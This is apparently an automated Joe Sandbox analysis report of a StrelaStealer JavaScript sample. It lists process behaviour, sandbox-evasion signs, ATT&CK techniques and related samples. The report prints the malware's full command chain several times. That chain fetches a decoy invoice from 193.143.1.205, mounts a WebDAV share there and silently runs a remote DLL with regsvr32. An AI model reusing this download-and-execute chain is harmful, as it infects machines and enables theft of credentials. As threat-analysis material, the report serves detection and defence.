Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4072			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5727			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7584	Thread sleep count: 4072 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep count: 5727 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7680	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7868	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8088	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1750100341.000002CE3BFE1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750100341.000002CE3BF78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2975872917.00000181D2A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2977518530.00000181D8257000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
44462735347649449.js	13%	Virustotal		Browse
44462735347649449.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/1	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1687941718.0000025AFBA0B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1767499744.00000181D8022000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/1	net.exe, 00000006.00000002.1750100341.000002CE3BF78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.2977383035.00000181D820F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000006.00000002.1750100341.000002CE3BF78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1750100341.000002CE3BFA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750100341.000002CE3BF78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750100341.000002CE3BFD4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/A	net.exe, 00000006.00000002.1750100341.000002CE3BFA8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1767499744.00000181D8022000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://crl.mi	svchost.exe, 00000008.00000002.2977624969.00000181D82C5000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589069
Start date and time:	2025-01-11 09:07:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	44462735347649449.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@28/59@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.16.168.105, 2.16.168.107, 50.16.47.176, 54.224.241.105, 18.213.11.84, 34.237.241.83, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 23.200.0.21, 23.200.0.33, 192.168.2.4, 4.245.163.56, 96.17.64.171, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:08:28	API Interceptor	25x Sleep call for process: powershell.exe modified
03:08:32	API Interceptor	1x Sleep call for process: net.exe modified
03:08:33	API Interceptor	2x Sleep call for process: svchost.exe modified
03:08:45	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2634817597621928878.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26804379891331232.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2598020871582219525.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2014717258213104107.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1274513223711714673.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073528989616532
Encrypted:	false
